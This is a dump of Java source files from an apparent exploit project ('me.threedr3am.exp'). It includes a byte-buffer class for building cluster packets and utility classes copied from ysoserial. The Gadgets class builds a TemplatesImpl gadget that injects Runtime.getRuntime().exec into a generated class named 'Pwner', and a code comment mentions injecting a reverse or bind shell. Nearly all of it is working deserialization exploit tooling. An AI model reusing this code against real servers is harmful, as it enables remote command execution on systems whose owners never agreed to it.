318 | public static byte[] createDataPackage(byte[] data, int doff, int dlength, byte[] buffer, int bufoff) {
319 | if ( (buffer.length-bufoff) > getDataPackageLength(dlength) ) {
320 | throw new ArrayIndexOutOfBoundsException("");
321 | }
322 | System.arraycopy(START_DATA, 0, buffer, bufoff, START_DATA.length);
323 | toBytes(data.length,buffer, bufoff+START_DATA.length);
324 | System.arraycopy(data, doff, buffer, bufoff+START_DATA.length + 4, dlength);
325 | System.arraycopy(END_DATA, 0, buffer, bufoff+START_DATA.length + 4 + data.length, END_DATA.length);
326 | return buffer;
327 | }
328 |
329 |
330 | public static int getDataPackageLength(int datalength) {
331 | int length =
332 | START_DATA.length + //header length
333 | 4 + //data length indicator
334 | datalength + //actual data length
335 | END_DATA.length; //footer length
336 | return length;
337 |
338 | }
339 |
340 | public static byte[] createDataPackage(byte[] data) {
341 | int length = getDataPackageLength(data.length);
342 | byte[] result = new byte[length];
343 | return createDataPackage(data,0,data.length,result,0);
344 | }
345 |
346 |
347 | // public static void fillDataPackage(byte[] data, int doff, int dlength, XByteBuffer buf) {
348 | // int pkglen = getDataPackageLength(dlength);
349 | // if ( buf.getCapacity() < pkglen ) buf.expand(pkglen);
350 | // createDataPackage(data,doff,dlength,buf.getBytesDirect(),buf.getLength());
351 | // }
352 |
353 | /**
354 | * Convert four bytes to an int
355 | * @param b - the byte array containing the four bytes
356 | * @param off - the offset
357 | * @return the integer value constructed from the four bytes
358 | */
359 | public static int toInt(byte[] b,int off){
360 | return ( ( b[off+3]) & 0xFF) +
361 | ( ( ( b[off+2]) & 0xFF) << 8) +
362 | ( ( ( b[off+1]) & 0xFF) << 16) +
363 | ( ( ( b[off+0]) & 0xFF) << 24);
364 | }
365 |
366 | /**
367 | * Convert eight bytes to a long
368 | * @param b - the byte array containing the four bytes
369 | * @param off - the offset
370 | * @return the long value constructed from the eight bytes
371 | */
372 | public static long toLong(byte[] b,int off){
373 | return ( ( (long) b[off+7]) & 0xFF) +
374 | ( ( ( (long) b[off+6]) & 0xFF) << 8) +
375 | ( ( ( (long) b[off+5]) & 0xFF) << 16) +
376 | ( ( ( (long) b[off+4]) & 0xFF) << 24) +
377 | ( ( ( (long) b[off+3]) & 0xFF) << 32) +
378 | ( ( ( (long) b[off+2]) & 0xFF) << 40) +
379 | ( ( ( (long) b[off+1]) & 0xFF) << 48) +
380 | ( ( ( (long) b[off+0]) & 0xFF) << 56);
381 | }
382 |
383 |
384 | /**
385 | * Converts a boolean and put it in a byte array.
386 | * @param bool the integer
387 | * @param data the byte buffer in which the boolean will be placed
388 | * @param offset the offset in the byte array
389 | * @return the byte array
390 | */
391 | public static byte[] toBytes(boolean bool, byte[] data, int offset) {
392 | data[offset] = (byte)(bool?1:0);
393 | return data;
394 | }
395 |
396 | /**
397 | * Converts a byte array entry to boolean.
398 | * @param b byte array
399 | * @param offset within byte array
400 | * @return true if byte array entry is non-zero, false otherwise
401 | */
402 | public static boolean toBoolean(byte[] b, int offset) {
403 | return b[offset] != 0;
404 | }
405 |
406 |
407 | /**
408 | * Converts an integer to four bytes.
409 | * @param n the integer
410 | * @param b the byte buffer in which the integer will be placed
411 | * @param offset the offset in the byte array
412 | * @return four bytes in an array
413 | */
414 | public static byte[] toBytes(int n, byte[] b, int offset) {
415 | b[offset+3] = (byte) (n);
416 | n >>>= 8;
417 | b[offset+2] = (byte) (n);
418 | n >>>= 8;
419 | b[offset+1] = (byte) (n);
420 | n >>>= 8;
421 | b[offset+0] = (byte) (n);
422 | return b;
423 | }
424 |
425 | /**
426 | * Converts a long to eight bytes.
427 | * @param n the long
428 | * @param b the byte buffer in which the integer will be placed
429 | * @param offset the offset in the byte array
430 | * @return eight bytes in an array
431 | */
432 | public static byte[] toBytes(long n, byte[] b, int offset) {
433 | b[offset+7] = (byte) (n);
434 | n >>>= 8;
435 | b[offset+6] = (byte) (n);
436 | n >>>= 8;
437 | b[offset+5] = (byte) (n);
438 | n >>>= 8;
439 | b[offset+4] = (byte) (n);
440 | n >>>= 8;
441 | b[offset+3] = (byte) (n);
442 | n >>>= 8;
443 | b[offset+2] = (byte) (n);
444 | n >>>= 8;
445 | b[offset+1] = (byte) (n);
446 | n >>>= 8;
447 | b[offset+0] = (byte) (n);
448 | return b;
449 | }
450 |
451 | /**
452 | * Similar to a String.IndexOf, but uses pure bytes.
453 | * @param src - the source bytes to be searched
454 | * @param srcOff - offset on the source buffer
455 | * @param find - the string to be found within src
456 | * @return - the index of the first matching byte. -1 if the find array is not found
457 | */
458 | public static int firstIndexOf(byte[] src, int srcOff, byte[] find){
459 | int result = -1;
460 | if (find.length > src.length) return result;
461 | if (find.length == 0 || src.length == 0) return result;
462 | if (srcOff >= src.length ) throw new ArrayIndexOutOfBoundsException();
463 | boolean found = false;
464 | int srclen = src.length;
465 | int findlen = find.length;
466 | byte first = find[0];
467 | int pos = srcOff;
468 | while (!found) {
469 | //find the first byte
470 | while (pos < srclen){
471 | if (first == src[pos])
472 | break;
473 | pos++;
474 | }
475 | if (pos >= srclen)
476 | return -1;
477 |
478 | //we found the first character
479 | //match the rest of the bytes - they have to match
480 | if ( (srclen - pos) < findlen)
481 | return -1;
482 | //assume it does exist
483 | found = true;
484 | for (int i = 1; ( (i < findlen) && found); i++) {
485 | found = (find[i] == src[pos + i]);
486 | }
487 | if (found) {
488 | result = pos;
489 | } else if ( (srclen - pos) < findlen) {
490 | return -1; //no more matches possible
491 | } else {
492 | pos++;
493 | }
494 | }
495 | return result;
496 | }
497 |
498 | private static final AtomicInteger invokecount = new AtomicInteger(0);
499 |
500 | /**
501 | * Serializes a message into cluster data
502 | * @param msg ClusterMessage
503 | * @return serialized content as byte[] array
504 | * @throws IOException Serialization error
505 | */
506 | public static byte[] serialize(Serializable msg) throws IOException {
507 | ByteArrayOutputStream outs = new ByteArrayOutputStream();
508 | ObjectOutputStream out = new ObjectOutputStream(outs);
509 | out.writeObject(msg);
510 | out.flush();
511 | byte[] data = outs.toByteArray();
512 | return data;
513 | }
514 |
515 | public void setDiscard(boolean discard) {
516 | this.discard = discard;
517 | }
518 |
519 | public boolean getDiscard() {
520 | return discard;
521 | }
522 |
523 | }
524 |
--------------------------------------------------------------------------------
/src/main/java/me/threedr3am/exp/utils/ClassFiles.java:
--------------------------------------------------------------------------------
1 | package me.threedr3am.exp.utils;
2 |
3 | import java.io.ByteArrayOutputStream;
4 | import java.io.IOException;
5 | import java.io.InputStream;
6 |
7 | /**
8 | * code from ysoserial
9 | */
10 | public class ClassFiles {
11 |
12 | public static String classAsFile(final Class> clazz) {
13 | return classAsFile(clazz, true);
14 | }
15 |
16 | public static String classAsFile(final Class> clazz, boolean suffix) {
17 | String str;
18 | if (clazz.getEnclosingClass() == null) {
19 | str = clazz.getName().replace(".", "/");
20 | } else {
21 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
22 | }
23 | if (suffix) {
24 | str += ".class";
25 | }
26 | return str;
27 | }
28 |
29 | public static byte[] classAsBytes(final Class> clazz) {
30 | try {
31 | final byte[] buffer = new byte[1024];
32 | final String file = classAsFile(clazz);
33 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
34 | if (in == null) {
35 | throw new IOException("couldn't find '" + file + "'");
36 | }
37 | final ByteArrayOutputStream out = new ByteArrayOutputStream();
38 | int len;
39 | while ((len = in.read(buffer)) != -1) {
40 | out.write(buffer, 0, len);
41 | }
42 | return out.toByteArray();
43 | } catch (IOException e) {
44 | throw new RuntimeException(e);
45 | }
46 | }
47 |
48 | }
49 |
--------------------------------------------------------------------------------
/src/main/java/me/threedr3am/exp/utils/Converter.java:
--------------------------------------------------------------------------------
1 | package me.threedr3am.exp.utils;
2 |
3 | import java.io.ByteArrayOutputStream;
4 | import java.io.DataOutputStream;
5 | import java.io.IOException;
6 | import java.io.ObjectOutputStream;
7 |
8 | /**
9 | * code from ysoserial
10 | */
11 | public class Converter {
12 | public static byte[] toBytes(Object[] objs) throws IOException {
13 | ByteArrayOutputStream baos = new ByteArrayOutputStream();
14 | DataOutputStream dos = new DataOutputStream(baos);
15 | for (Object obj : objs) {
16 | treatObject(dos, obj);
17 | }
18 | dos.close();
19 | return baos.toByteArray();
20 | }
21 |
22 | public static void treatObject(DataOutputStream dos, Object obj)
23 | throws IOException {
24 | if (obj instanceof Byte) {
25 | dos.writeByte((Byte) obj);
26 | } else if (obj instanceof Short) {
27 | dos.writeShort((Short) obj);
28 | } else if (obj instanceof Integer) {
29 | dos.writeInt((Integer) obj);
30 | } else if (obj instanceof Long) {
31 | dos.writeLong((Long) obj);
32 | } else if (obj instanceof String) {
33 | dos.writeUTF((String) obj);
34 | } else {
35 | ByteArrayOutputStream ba = new ByteArrayOutputStream();
36 | ObjectOutputStream oos = new ObjectOutputStream(ba);
37 | oos.writeObject(obj);
38 | oos.close();
39 | dos.write(ba.toByteArray(), 4, ba.size() - 4); // 4 = skip the header
40 | }
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/src/main/java/me/threedr3am/exp/utils/Gadgets.java:
--------------------------------------------------------------------------------
1 | package me.threedr3am.exp.utils;
2 |
3 |
4 | import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
5 |
6 | import com.sun.org.apache.xalan.internal.xsltc.DOM;
7 | import com.sun.org.apache.xalan.internal.xsltc.TransletException;
8 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
9 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
10 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
11 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
12 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
13 | import java.io.Serializable;
14 | import java.lang.reflect.Array;
15 | import java.lang.reflect.Constructor;
16 | import java.lang.reflect.InvocationHandler;
17 | import java.lang.reflect.InvocationTargetException;
18 | import java.lang.reflect.Proxy;
19 | import java.util.HashMap;
20 | import java.util.Map;
21 | import javassist.ClassClassPath;
22 | import javassist.ClassPool;
23 | import javassist.CtClass;
24 |
25 |
26 | /**
27 | * code from ysoserial
28 | */
29 | /*
30 | * utility generator functions for common jdk-only gadgets
31 | */
32 | @SuppressWarnings( {
33 | "restriction", "rawtypes", "unchecked"
34 | } )
35 | public class Gadgets {
36 |
37 | static {
38 | // special case for using TemplatesImpl gadgets with a SecurityManager enabled
39 | System.setProperty(DESERIALIZE_TRANSLET, "true");
40 |
41 | // for RMI remote loading
42 | System.setProperty("java.rmi.server.useCodebaseOnly", "false");
43 | }
44 |
45 | public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
46 |
47 | public static class StubTransletPayload extends AbstractTranslet implements Serializable {
48 |
49 | private static final long serialVersionUID = -5971610431559700674L;
50 |
51 |
52 | public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
53 |
54 |
55 | @Override
56 | public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
57 | }
58 |
59 | // required to make TemplatesImpl happy
60 | public static class Foo implements Serializable {
61 |
62 | private static final long serialVersionUID = 8207363842866235160L;
63 | }
64 |
65 |
66 | public static T createMemoitizedProxy ( final Map map, final Class iface, final Class>... ifaces ) throws Exception {
67 | return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
68 | }
69 |
70 |
71 | public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception {
72 | return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(
73 | Override.class, map);
74 | }
75 |
76 |
77 | public static T createProxy ( final InvocationHandler ih, final Class iface, final Class>... ifaces ) {
78 | final Class>[] allIfaces = (Class>[]) Array.newInstance(Class.class, ifaces.length + 1);
79 | allIfaces[ 0 ] = iface;
80 | if ( ifaces.length > 0 ) {
81 | System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
82 | }
83 | return iface.cast(Proxy
84 | .newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
85 | }
86 |
87 |
88 | public static Map createMap ( final String key, final Object val ) {
89 | final Map map = new HashMap();
90 | map.put(key, val);
91 | return map;
92 | }
93 |
94 |
95 |
96 |
97 | public static Object createTemplatesImpl ( final String... command) throws Exception {
98 | return createTemplatesImpl(null, command);
99 | }
100 |
101 | public static Object createTemplatesImpl (final Class c, String... command) throws Exception {
102 | if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
103 | return createTemplatesImpl(c,
104 | Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
105 | Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
106 | Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"), command);
107 | }
108 |
109 | return createTemplatesImpl(c, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class, command);
110 | }
111 |
112 |
113 | public static T createTemplatesImpl (Class c, Class tplClass, Class> abstTranslet, Class> transFactory, String... command)
114 | throws Exception {
115 | final T templates = tplClass.newInstance();
116 | final byte[] classBytes;
117 | if (c == null) {
118 | // use template gadget class
119 | ClassPool pool = ClassPool.getDefault();
120 | pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
121 | pool.insertClassPath(new ClassClassPath(abstTranslet));
122 | final CtClass clazz = pool.get(StubTransletPayload.class.getName());
123 | // run command in static initializer
124 | // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
125 | StringBuilder stringBuilder = new StringBuilder("new java.lang.String[] {");
126 | for (int i = 0; i < command.length; i++) {
127 | stringBuilder.append("\"");
128 | stringBuilder.append(command[i].replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\""));
129 | stringBuilder.append("\"");
130 | if (i != command.length - 1) {
131 | stringBuilder.append(",");
132 | }
133 | }
134 | stringBuilder.append("}");
135 | String cmd = String.format("java.lang.Runtime.getRuntime().exec(%s);", stringBuilder.toString());
136 | // System.out.println(cmd);
137 | clazz.makeClassInitializer().insertAfter(cmd);
138 | // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
139 | clazz.setName("ysoserial.Pwner" + System.nanoTime());
140 | CtClass superC = pool.get(abstTranslet.getName());
141 | clazz.setSuperclass(superC);
142 | classBytes = clazz.toBytecode();
143 | } else {
144 | classBytes = ClassFiles.classAsBytes(c);
145 | }
146 |
147 |
148 | // inject class bytes into instance
149 | Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
150 | classBytes, ClassFiles.classAsBytes(Foo.class)
151 | });
152 |
153 | // required to make TemplatesImpl happy
154 | Reflections.setFieldValue(templates, "_name", "Pwnr");
155 | Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
156 | return templates;
157 | }
158 |
159 | public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
160 | IllegalAccessException, InvocationTargetException {
161 | HashMap s = new HashMap();
162 | Reflections.setFieldValue(s, "size", 2);
163 | Class nodeC;
164 | try {
165 | nodeC = Class.forName("java.util.HashMap$Node");
166 | }
167 | catch ( ClassNotFoundException e ) {
168 | nodeC = Class.forName("java.util.HashMap$Entry");
169 | }
170 | Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
171 | Reflections.setAccessible(nodeCons);
172 |
173 | Object tbl = Array.newInstance(nodeC, 2);
174 | Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
175 | Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
176 | Reflections.setFieldValue(s, "table", tbl);
177 | return s;
178 | }
179 | }
180 |
--------------------------------------------------------------------------------
/src/main/java/me/threedr3am/exp/utils/Reflections.java:
--------------------------------------------------------------------------------
1 | package me.threedr3am.exp.utils;
2 |
3 | import java.lang.reflect.AccessibleObject;
4 | import java.lang.reflect.Constructor;
5 | import java.lang.reflect.Field;
6 | import java.lang.reflect.InvocationTargetException;
7 | import sun.reflect.ReflectionFactory;
8 |
9 | /**
10 | * code from ysoserial
11 | */
12 | @SuppressWarnings( "restriction" )
13 | public class Reflections {
14 |
15 | public static void setAccessible(AccessibleObject member) {
16 | // quiet runtime warnings from JDK9+
17 | member.setAccessible(true);
18 | }
19 |
20 | public static Field getField(final Class> clazz, final String fieldName) {
21 | Field field = null;
22 | try {
23 | field = clazz.getDeclaredField(fieldName);
24 | setAccessible(field);
25 | }
26 | catch (NoSuchFieldException ex) {
27 | if (clazz.getSuperclass() != null)
28 | field = getField(clazz.getSuperclass(), fieldName);
29 | }
30 | return field;
31 | }
32 |
33 | public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
34 | final Field field = getField(obj.getClass(), fieldName);
35 | field.set(obj, value);
36 | }
37 |
38 | public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
39 | final Field field = getField(obj.getClass(), fieldName);
40 | return field.get(obj);
41 | }
42 |
43 | public static Constructor> getFirstCtor(final String name) throws Exception {
44 | final Constructor> ctor = Class.forName(name).getDeclaredConstructors()[0];
45 | setAccessible(ctor);
46 | return ctor;
47 | }
48 |
49 | public static Object newInstance(String className, Object... args) throws Exception {
50 | return getFirstCtor(className).newInstance(args);
51 | }
52 |
53 | public static T createWithoutConstructor ( Class classToInstantiate )
54 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
55 | return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
56 | }
57 |
58 | @SuppressWarnings( {"unchecked"} )
59 | public static T createWithConstructor ( Class classToInstantiate, Class super T> constructorClass, Class>[] consArgTypes, Object[] consArgs )
60 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
61 | Constructor super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
62 | setAccessible(objCons);
63 | Constructor> sc = ReflectionFactory
64 | .getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
65 | setAccessible(sc);
66 | return (T)sc.newInstance(consArgs);
67 | }
68 |
69 | }
70 |
--------------------------------------------------------------------------------
/src/main/java/me/threedr3am/exp/utils/Serializer.java:
--------------------------------------------------------------------------------
1 | package me.threedr3am.exp.utils;
2 |
3 | import java.io.ByteArrayOutputStream;
4 | import java.io.IOException;
5 | import java.io.ObjectOutputStream;
6 | import java.io.OutputStream;
7 | import java.util.concurrent.Callable;
8 |
9 | public class Serializer implements Callable {
10 | private final Object object;
11 | public Serializer(Object object) {
12 | this.object = object;
13 | }
14 |
15 | public byte[] call() throws Exception {
16 | return serialize(object);
17 | }
18 |
19 | public static byte[] serialize(final Object obj) throws IOException {
20 | final ByteArrayOutputStream out = new ByteArrayOutputStream();
21 | serialize(obj, out);
22 | return out.toByteArray();
23 | }
24 |
25 | public static void serialize(final Object obj, final OutputStream out) throws IOException {
26 | final ObjectOutputStream objOut = new ObjectOutputStream(out);
27 | objOut.writeObject(obj);
28 | }
29 |
30 | }
--------------------------------------------------------------------------------